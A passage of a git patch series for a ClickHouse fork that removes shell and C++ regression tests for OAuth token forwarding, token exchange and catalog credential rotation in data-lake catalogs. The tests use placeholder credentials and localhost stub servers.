>/dev/null | grep -c 'CATALOG_USER_TOKEN_NOT_AVAILABLE' - -echo '-- the error names the server-level switch as the cause' -${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'server-level .enable_token_forwarding. setting is off' - -${CLICKHOUSE_CLIENT} --query "SYSTEM FLUSH LOGS query_log, text_log" -echo '-- the credential never reaches system.query_log' -${CLICKHOUSE_CLIENT} --query " -SELECT count() FROM system.query_log -WHERE event_date >= yesterday() AND current_database = currentDatabase() - AND (query LIKE '%${CANARY}%' OR exception LIKE '%${CANARY}%') -" -echo '-- nor the server log' -${CLICKHOUSE_CLIENT} --query " -SELECT count() FROM system.text_log -WHERE event_date >= yesterday() AND message LIKE '%${CANARY}%' -" - -${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" diff --git a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference deleted file mode 100644 index 769e8906e2e3..000000000000 --- a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference +++ /dev/null @@ -1,11 +0,0 @@ --- no role to assume -requires a non-empty `aws_role_arn` --- static keys are a second identity -cannot be combined with `aws_access_key_id` --- AWS STS is not an OAuth token endpoint -only supported for `catalog_type = 'rest'` --- accepted, and the role stays visible while the token does not appear at all -oauth_forward_user_token = 1 -arn:aws:iam::123456789012:role/r --- fail closed: this session has no token to exchange -enable_token_forwarding diff --git a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh deleted file mode 100755 index 48ce4571d9c6..000000000000 --- a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env bash -# Tags: no-fasttest - -CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) -# shellcheck source=../shell_config.sh -. "$CUR_DIR"/../shell_config.sh - -DB="${CLICKHOUSE_DATABASE}_glue" - -GLUE_SETTINGS="--allow_experimental_database_iceberg=1 --allow_database_glue_catalog=1" - -echo '-- no role to assume' -# shellcheck disable=SC2086 -${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " -CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') -SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1 -" 2>&1 | grep -o 'requires a non-empty .aws_role_arn.' - -echo '-- static keys are a second identity' -# shellcheck disable=SC2086 -${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " -CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') -SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1, - aws_role_arn = 'arn:aws:iam::123456789012:role/r', aws_access_key_id = 'AKIA', aws_secret_access_key = 'secret' -" 2>&1 | grep -o 'cannot be combined with .aws_access_key_id.' - -echo '-- AWS STS is not an OAuth token endpoint' -# shellcheck disable=SC2086 -${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " -CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') -SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1, - aws_role_arn = 'arn:aws:iam::123456789012:role/r', oauth_token_exchange_uri = 'http://localhost:8080/token' -" 2>&1 | grep -o 'only supported for .catalog_type = .rest..' - -echo '-- accepted, and the role stays visible while the token does not appear at all' -# shellcheck disable=SC2086 -${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " -CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') -SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1, - aws_role_arn = 'arn:aws:iam::123456789012:role/r' -" -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'arn:aws:iam::123456789012:role/r' - -echo '-- fail closed: this session has no token to exchange' -${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>&1 | grep -o 'enable_token_forwarding' | head -n 1 - -${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" From 21f2bc1d69d7f174734ebeebb1db908edc2ae412 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Mon, 21 Sep 2026 14:43:49 +0200 Subject: [PATCH 4/8] Keep only essential catalog credential-rotation regressions Reduce the token-forwarding unit suite to five cases covering cache invalidation, failed preparation, and in-flight credential/config races. Remove unused forwarding helpers and simplify shared request recording. Related: https://github.com/Altinity/ClickHouse/pull/2329 --- .../gtest_rest_catalog_token_forwarding.cpp | 526 +----------------- .../DataLake/tests/rest_catalog_test_server.h | 11 +- 2 files changed, 31 insertions(+), 506 deletions(-) diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index c580579c34be..aa91ba9fdd1c 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -13,6 +13,8 @@ #include #include +#include + #include #include @@ -25,12 +27,6 @@ using namespace DataLake; using namespace RestCatalogTest; -namespace DB::ErrorCodes -{ - extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; - extern const int DATALAKE_DATABASE_ERROR; -} - namespace { @@ -42,13 +38,10 @@ constexpr auto CATALOG_TOKEN_PATH = "/v1/oauth/tokens"; constexpr auto IDP_TOKEN_PATH = "/idp/token"; constexpr auto ALICE_TOKEN = "alice.jwt.token"; -constexpr auto BOB_TOKEN = "bob.jwt.token"; -DB::ForwardedAuthTokenPtr makeToken(const std::string & token, const std::string & principal) +DB::ForwardedAuthTokenPtr makeToken() { - DB::TokenCredentials credentials(token); - credentials.setUserName(principal); - return DB::makeForwardedAuthToken(credentials, principal); + return DB::makeForwardedAuthToken(DB::TokenCredentials(ALICE_TOKEN), "alice"); } DB::ContextMutablePtr makeQueryContext(const DB::ForwardedAuthTokenPtr & auth_token = {}) @@ -83,37 +76,25 @@ std::string loadTableResponse(const std::string & access_key_id, const std::stri table_uuid, access_key_id, expires_at_ms); } -void installTokenEndpoint(ServerState & state, const std::string & path, Int64 expires_in = 3600) +void installTokenEndpoint(ServerState & state, const std::string & path) { auto counter = std::make_shared(0); - state.setRoute(path, [counter, expires_in](const RecordedRequest &) + state.setRoute(path, [counter](const RecordedRequest &) { const size_t n = counter->fetch_add(1); - return json(fmt::format(R"({{"access_token":"session_token_{}","expires_in":{}}})", n, expires_in)); + return json(fmt::format(R"({{"access_token":"session_token_{}","expires_in":3600}})", n)); }); } -TokenForwardingConfig passthrough() -{ - return TokenForwardingConfig{ - .forward_user_token = true, - .token_exchange_uri = "", - .subject_token_type = "", - .requested_token_type = "", - .forward_actor_token = false, - .user_token_cache_ttl = 0, - }; -} - -TokenForwardingConfig exchangeAt(const std::string & uri, UInt64 cache_ttl = 300, bool actor = false) +TokenForwardingConfig exchangeAt(const std::string & uri) { return TokenForwardingConfig{ .forward_user_token = true, .token_exchange_uri = uri, .subject_token_type = "urn:ietf:params:oauth:token-type:access_token", .requested_token_type = "urn:ietf:params:oauth:token-type:access_token", - .forward_actor_token = actor, - .user_token_cache_ttl = cache_ttl, + .forward_actor_token = false, + .user_token_cache_ttl = 300, }; } @@ -121,13 +102,12 @@ TokenForwardingConfig exchangeAt(const std::string & uri, UInt64 cache_ttl = 300 std::shared_ptr makeCatalog( const TestServer & server, const DB::ContextPtr & context, - const TokenForwardingConfig & forwarding, - const std::string & catalog_credential = "") + const TokenForwardingConfig & forwarding) { return std::make_shared( "warehouse", server.getUrl(), - catalog_credential, + "client:secret", /* auth_scope */ "lakekeeper", /* auth_header */ "", /* oauth_server_uri */ "", @@ -159,327 +139,25 @@ std::map parseForm(const std::string & body) return result; } -struct TokenForwardingSwitch -{ - explicit TokenForwardingSwitch(bool enabled) - : previous(getContext().context->getAccessControl().isTokenForwardingEnabled()) - { - set(enabled); - } - - ~TokenForwardingSwitch() { set(previous); } - - static void set(bool enabled) { getContext().context->getAccessControl().setTokenForwardingEnabled(enabled); } - - const bool previous; -}; - } class RestCatalogTokenForwarding : public ::testing::Test { protected: - TokenForwardingSwitch forwarding{true}; -}; - -TEST_F(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, passthrough()); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - - const auto requests = server->requests(); - ASSERT_FALSE(requests.empty()); - for (const auto & request : requests) - EXPECT_EQ(request.header("Authorization"), std::string("Bearer ") + ALICE_TOKEN) << "path: " << request.path; - - EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); -} - -TEST_F(RestCatalogTokenForwarding, NoUserTokenFailsClosed) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); - - try - { - catalog->getTables(/* auth_token */ {}); - FAIL() << "expected the catalog to refuse a request with no user token"; - } - catch (const DB::Exception & e) + RestCatalogTokenForwarding() + : previous(getContext().context->getAccessControl().isTokenForwardingEnabled()) { - EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); + getContext().context->getAccessControl().setTokenForwardingEnabled(true); } - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); -} - -TEST_F(RestCatalogTokenForwarding, ForbiddenIsNotRetriedAsServicePrincipal) -{ - TestServer server; - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - server->setRoute(NAMESPACES_PATH, [](const RecordedRequest &) { return respondWithStatus(403); }); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); - - EXPECT_THROW(catalog->getTables(alice), DB::Exception); - - EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 1u); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); -} - -TEST_F(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) -{ - TestServer server; - installCatalogShape(*server); - server->setRoute(TABLE_PATH, [](const RecordedRequest & request) + ~RestCatalogTokenForwarding() override { - const bool is_alice = request.header("Authorization") == std::string("Bearer ") + ALICE_TOKEN; - return json(loadTableResponse(is_alice ? "AKIA_ALICE" : "AKIA_BOB")); - }); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto bob = makeToken(BOB_TOKEN, "bob"); - - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, passthrough()); - catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); - - auto load = [&](const DB::ForwardedAuthTokenPtr & token) - { - auto query_context = makeQueryContext(token); - TableMetadata metadata; - metadata.withLocation().withStorageCredentials(); - catalog->getTableMetadata("ns", "t", query_context, metadata); - return metadata.getStorageCredentials(); - }; - - /// `loadTable` runs even on a cache hit; this header distinguishes fresh credential vending. - auto vending_requests = [&] - { - size_t count = 0; - for (const auto & request : server->requestsTo(TABLE_PATH)) - if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") - ++count; - return count; - }; - - auto alice_credentials = load(alice); - ASSERT_EQ(vending_requests(), 1u); - - auto bob_credentials = load(bob); - EXPECT_EQ(vending_requests(), 2u); - - load(alice); - EXPECT_EQ(vending_requests(), 2u); - - auto alice_s3 = std::dynamic_pointer_cast(alice_credentials); - auto bob_s3 = std::dynamic_pointer_cast(bob_credentials); - ASSERT_TRUE(alice_s3); - ASSERT_TRUE(bob_s3); - EXPECT_EQ(alice_s3->getAccessKeyId(), "AKIA_ALICE"); - EXPECT_EQ(bob_s3->getAccessKeyId(), "AKIA_BOB"); -} - -TEST_F(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - - const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); - ASSERT_EQ(exchanges.size(), 1u); - const auto & exchange = exchanges.front(); - - EXPECT_EQ(exchange.method, "POST"); - EXPECT_TRUE(exchange.query.empty()); - EXPECT_EQ(exchange.query.find(ALICE_TOKEN), std::string::npos); - EXPECT_EQ(exchange.path.find(ALICE_TOKEN), std::string::npos); - - const auto form = parseForm(exchange.body); - EXPECT_EQ(form.at("grant_type"), "urn:ietf:params:oauth:grant-type:token-exchange"); - EXPECT_EQ(form.at("subject_token"), ALICE_TOKEN); - EXPECT_EQ(form.at("subject_token_type"), "urn:ietf:params:oauth:token-type:access_token"); - EXPECT_EQ(form.at("requested_token_type"), "urn:ietf:params:oauth:token-type:access_token"); - EXPECT_EQ(form.at("scope"), "lakekeeper"); - EXPECT_EQ(form.at("client_id"), "client"); - EXPECT_EQ(form.at("client_secret"), "secret"); - EXPECT_EQ(form.count("actor_token"), 0u); - EXPECT_EQ(form.count("actor_token_type"), 0u); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - - for (const auto & request : server->requests()) - { - if (request.path != IDP_TOKEN_PATH) - EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0") << "path: " << request.path; + getContext().context->getAccessControl().setTokenForwardingEnabled(previous); } -} - -TEST_F(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto bob = makeToken(BOB_TOKEN, "bob"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - server->clearRequests(); - ASSERT_EQ(catalog->getTables(bob), DB::Names{"ns.t"}); - - const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); - ASSERT_EQ(exchanges.size(), 1u); - EXPECT_EQ(parseForm(exchanges.front().body).at("subject_token"), BOB_TOKEN); - for (const auto & request : server->requestsTo(NAMESPACES_PATH)) - EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); -} -TEST_F(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) -{ - TestServer server; - installCatalogShape(*server); - /// `expires_in = 1` rounds down to a zero-second validity window. - installTokenEndpoint(*server, IDP_TOKEN_PATH, /* expires_in */ 1); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - const auto after_first_query = server->countRequestsTo(IDP_TOKEN_PATH); - ASSERT_GE(after_first_query, 1u); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - EXPECT_GT(server->countRequestsTo(IDP_TOKEN_PATH), after_first_query); -} - -TEST_F(RestCatalogTokenForwarding, ActorTokenCarriesServicePrincipalTokenWhenEnabled) -{ - TestServer server; - installCatalogShape(*server); - server->setStaticRoute(CATALOG_TOKEN_PATH, R"({"access_token":"service_principal_token","expires_in":3600})"); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog( - server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ true), "client:secret"); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - - const auto grants = server->requestsTo(CATALOG_TOKEN_PATH); - ASSERT_EQ(grants.size(), 1u); - EXPECT_EQ(parseForm(grants.front().body).at("grant_type"), "client_credentials"); - - const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); - ASSERT_EQ(exchanges.size(), 1u); - const auto form = parseForm(exchanges.front().body); - EXPECT_EQ(form.at("subject_token"), ALICE_TOKEN); - EXPECT_EQ(form.at("actor_token"), "service_principal_token"); - EXPECT_EQ(form.at("actor_token_type"), "urn:ietf:params:oauth:token-type:access_token"); - - for (const auto & request : server->requestsTo(NAMESPACES_PATH)) - EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0"); -} - -TEST_F(RestCatalogTokenForwarding, ExchangeErrorIsReportedWithoutEchoingTheSubjectToken) -{ - auto run = [](ServerState::Route token_route, const std::string & expected_phrase) - { - TestServer server; - installCatalogShape(*server); - server->setRoute(IDP_TOKEN_PATH, std::move(token_route)); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - - try - { - catalog->getTables(alice); - FAIL() << "expected the exchange to fail"; - } - catch (const DB::Exception & e) - { - EXPECT_EQ(e.code(), DB::ErrorCodes::DATALAKE_DATABASE_ERROR); - const std::string message = e.displayText(); - EXPECT_NE(message.find(expected_phrase), std::string::npos) << message; - EXPECT_EQ(message.find(ALICE_TOKEN), std::string::npos) << message; - } - }; - - run([](const RecordedRequest &) - { return Response{.status = 404, .body = "Not Found", .content_type = "text/html"}; }, - "not a JSON object"); - run([](const RecordedRequest &) { return json(R"({"error":"unsupported_grant_type"})"); }, - "no `access_token` field"); -} - -TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForwarding) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - - TokenForwardingSwitch::set(false); - server->clearRequests(); - - try - { - catalog->getTables(alice); - FAIL() << "expected the catalog to stop forwarding once the server setting was turned off"; - } - catch (const DB::Exception & e) - { - EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); - const std::string message = e.displayText(); - EXPECT_NE(message.find("`enable_token_forwarding` setting is off"), std::string::npos) << message; - EXPECT_EQ(message.find("this session has none"), std::string::npos) << message; - } - - EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); - - TokenForwardingSwitch::set(true); - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - for (const auto & request : server->requestsTo(NAMESPACES_PATH)) - EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); -} +private: + const bool previous; +}; TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAndCredentials) { @@ -488,9 +166,9 @@ TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAnd installTokenEndpoint(*server, IDP_TOKEN_PATH); server->setStaticRoute(TABLE_PATH, loadTableResponse("AKIA_VENDED")); - auto alice = makeToken(ALICE_TOKEN, "alice"); + auto alice = makeToken(); auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); auto load = [&] @@ -531,81 +209,6 @@ TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAnd EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); } - -TEST_F(RestCatalogTokenForwarding, CredentialRotationValidatesAsCallerWithoutPublishingTokens) -{ - TestServer server; - installCatalogShape(*server); - server->setRoute(IDP_TOKEN_PATH, [](const RecordedRequest & request) - { - const auto form = parseForm(request.body); - return json(fmt::format(R"({{"access_token":"{}_{}","expires_in":3600}})", - form.at("client_secret"), form.at("subject_token"))); - }); - server->setRoute(CONFIG_PATH, [](const RecordedRequest & request) - { - if (request.header("Authorization") != std::string("Bearer rotated_secret_") + ALICE_TOKEN) - return respondWithStatus(403); - return json(R"({"defaults":{},"overrides":{}})"); - }); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto bob = makeToken(BOB_TOKEN, "bob"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - DB::SettingsChanges changes; - changes.emplace_back("catalog_credential", "client:rotated_secret"); - auto prepared = catalog->prepareSettingsChanges(changes, alice); - - ASSERT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); - ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - - server->setStaticRoute(CONFIG_PATH, R"({"defaults":{},"overrides":{}})"); - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - EXPECT_EQ(server->requestsTo(CONFIG_PATH).back().header("Authorization"), std::string("Bearer secret_") + ALICE_TOKEN); - ASSERT_EQ(catalog->getTables(bob), DB::Names{"ns.t"}); - EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).back().body).at("client_secret"), "secret"); - - catalog->commitSettingsChanges(std::move(prepared)); - server->clearRequests(); - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 0u); - ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("client_secret"), "rotated_secret"); - for (const auto & request : server->requestsTo(NAMESPACES_PATH)) - EXPECT_EQ(request.header("Authorization"), std::string("Bearer rotated_secret_") + ALICE_TOKEN); -} - -TEST_F(RestCatalogTokenForwarding, RejectedCredentialRotationPreservesCommittedAuthentication) -{ - TestServer server; - installCatalogShape(*server); - server->setRoute(IDP_TOKEN_PATH, [](const RecordedRequest & request) - { - if (parseForm(request.body).at("client_secret") != "secret") - return respondWithStatus(401); - return json(R"({"access_token":"old_session","expires_in":3600})"); - }); - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - server->clearRequests(); - - DB::SettingsChanges changes; - changes.emplace_back("catalog_credential", "client:rejected_secret"); - EXPECT_THROW(catalog->prepareSettingsChanges(changes, alice), DB::Exception); - EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 0u); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - for (const auto & request : server->requestsTo(NAMESPACES_PATH)) - EXPECT_EQ(request.header("Authorization"), "Bearer old_session"); -} - TEST_F(RestCatalogTokenForwarding, RejectedConfigReloadDoesNotPublishPreparedUserSession) { TestServer server; @@ -614,9 +217,9 @@ TEST_F(RestCatalogTokenForwarding, RejectedConfigReloadDoesNotPublishPreparedUse { return json(fmt::format(R"({{"access_token":"{}_session","expires_in":3600}})", parseForm(request.body).at("client_secret"))); }); - auto alice = makeToken(ALICE_TOKEN, "alice"); + auto alice = makeToken(); auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); server->clearRequests(); server->setRoute(CONFIG_PATH, [](const RecordedRequest &) { return respondWithStatus(403); }); @@ -632,77 +235,6 @@ TEST_F(RestCatalogTokenForwarding, RejectedConfigReloadDoesNotPublishPreparedUse EXPECT_EQ(request.header("Authorization"), "Bearer secret_session"); } -TEST_F(RestCatalogTokenForwarding, PassthroughCredentialRotationReloadsConfigWithUserToken) -{ - TestServer server; - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); - DB::SettingsChanges changes; - changes.emplace_back("catalog_credential", "client:rotated_secret"); - catalog->applySettingsChanges(changes, alice); - - ASSERT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); - EXPECT_EQ(server->requestsTo(CONFIG_PATH).front().header("Authorization"), std::string("Bearer ") + ALICE_TOKEN); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); -} - -TEST_F(RestCatalogTokenForwarding, CredentialRotationRequiresForwardingAndCallerToken) -{ - TestServer server; - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - DB::SettingsChanges changes; - changes.emplace_back("catalog_credential", "client:rotated_secret"); - for (bool enabled : {true, false}) - { - TokenForwardingSwitch::set(enabled); - try - { - catalog->prepareSettingsChanges(changes, enabled ? DB::ForwardedAuthTokenPtr{} : alice); - FAIL() << "expected credential rotation to require an enabled forwarding policy and caller token"; - } - catch (const DB::Exception & e) - { - EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); - } - } - EXPECT_TRUE(server->requests().empty()); -} - -TEST_F(RestCatalogTokenForwarding, CredentialRotationUsesNewActorOnlyForDelegation) -{ - TestServer server; - installCatalogShape(*server); - server->setRoute(CATALOG_TOKEN_PATH, [](const RecordedRequest & request) - { - return json(fmt::format(R"({{"access_token":"actor_{}","expires_in":3600}})", parseForm(request.body).at("client_secret"))); - }); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog( - server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ true), "client:secret"); - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - server->clearRequests(); - - DB::SettingsChanges changes; - changes.emplace_back("catalog_credential", "client:rotated_secret"); - catalog->applySettingsChanges(changes, alice); - ASSERT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 1u); - ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("actor_token"), "actor_rotated_secret"); - EXPECT_EQ(server->requestsTo(CONFIG_PATH).front().header("Authorization"), "Bearer session_token_1"); - - server->clearRequests(); - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("actor_token"), "actor_rotated_secret"); -} - class ParkedRoute { public: @@ -767,9 +299,9 @@ TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGen installTokenEndpoint(*server, CATALOG_TOKEN_PATH); server->setRoute(TABLE_PATH, parked.handler([](const RecordedRequest &) { return json(loadTableResponse("AKIA_VENDED")); })); - auto alice = makeToken(ALICE_TOKEN, "alice"); + auto alice = makeToken(); auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH)); catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); auto load = [&] @@ -831,7 +363,7 @@ TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToke })); auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, TokenForwardingConfig{}, "client:secret"); + auto catalog = makeCatalog(server, context, TokenForwardingConfig{}); ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); @@ -869,9 +401,9 @@ TEST_F(RestCatalogTokenForwarding, 